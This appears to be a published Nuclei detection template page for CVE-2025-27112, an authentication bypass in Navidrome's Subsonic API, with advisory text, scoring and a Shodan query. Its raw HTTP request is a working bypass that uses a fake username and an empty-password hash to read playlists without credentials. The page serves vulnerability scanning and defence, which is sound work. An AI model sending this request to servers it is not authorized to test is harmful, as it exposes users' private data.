Navidrome <=0.54.5 - Authentication Bypass in Subsonic API
ID: CVE-2025-27112
Severity: medium
Author: iamnoooob,rootxharsh,pdresearch
Tags: cve,cve2025,navidrome
Description
Section titled “Description”Navidrome is an open source web-based music collection server and streamer. Starting in version 0.52.0 and prior to version 0.54.5, in certain Subsonic API endpoints, a flaw in the authentication check process allows an attacker to specify any arbitrary username that does not exist on the system, along with a salted hash of an empty password. Under these conditions, Navidrome treats the request as authenticated, granting access to various Subsonic endpoints without requiring valid credentials. An attacker can use any non-existent username to bypass the authentication system and gain access to various read-only data in Navidrome, such as user playlists. However, any attempt to modify data fails with a “permission denied” error due to insufficient permissions, limiting the impact to unauthorized viewing of information. Version 0.54.5 contains a patch for this issue.
YAML Source
Section titled “YAML Source”id: CVE-2025-27112
info: name: Navidrome <=0.54.5 - Authentication Bypass in Subsonic API author: iamnoooob,rootxharsh,pdresearch severity: medium description: | Navidrome is an open source web-based music collection server and streamer. Starting in version 0.52.0 and prior to version 0.54.5, in certain Subsonic API endpoints, a flaw in the authentication check process allows an attacker to specify any arbitrary username that does not exist on the system, along with a salted hash of an empty password. Under these conditions, Navidrome treats the request as authenticated, granting access to various Subsonic endpoints without requiring valid credentials. An attacker can use any non-existent username to bypass the authentication system and gain access to various read-only data in Navidrome, such as user playlists. However, any attempt to modify data fails with a "permission denied" error due to insufficient permissions, limiting the impact to unauthorized viewing of information. Version 0.54.5 contains a patch for this issue. reference: - https://github.com/advisories/GHSA-c3p4-vm8f-386p classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N cvss-score: 6.5 cve-id: CVE-2025-27112 cwe-id: CWE-287 epss-score: 0.00046 epss-percentile: 0.19748 cpe: cpe:2.3:a:navidrome:navidrome:*:*:*:*:*:go:*:* metadata: verified: true max-request: 1 vendor: navidrome product: navidrome framework: go shodan-query: html:"content="Navidrome"" tags: cve,cve2025,navidrome
variables: username: "{{randstr}}"
http: - raw: - | GET /rest/getPlaylists?u=FakeUser&t={{md5(username)}}&s={{username}}&v=1.16.1&c=castafiore&f=json HTTP/1.1 Host: {{Hostname}} Accept-Encoding: gzip, deflate, br Accept: */* Accept-Language: en-US;q=0.9,en;q=0.8 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.6533.100 Safari/537.36
matchers: - type: word part: body words: - '"status":"ok"' - 'navidrome' - 'subsonic-response' condition: and# digest: 4b0a00483046022100fc3e60e935abb8176b792cf4cea9eeafb326536a1d7d83e61ca80908bdb10988022100b3feeac8b449a20ec945fe35f4a2ad6884d7f23aba2fd5099199ac59b91f05d3:922c64590222798bb761d5b6d8e72950Guide to check the vulnerabilities
Section titled “Guide to check the vulnerabilities”This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.
$ nuclei -u "URL" -t "http/cves/2025/CVE-2025-27112.yaml"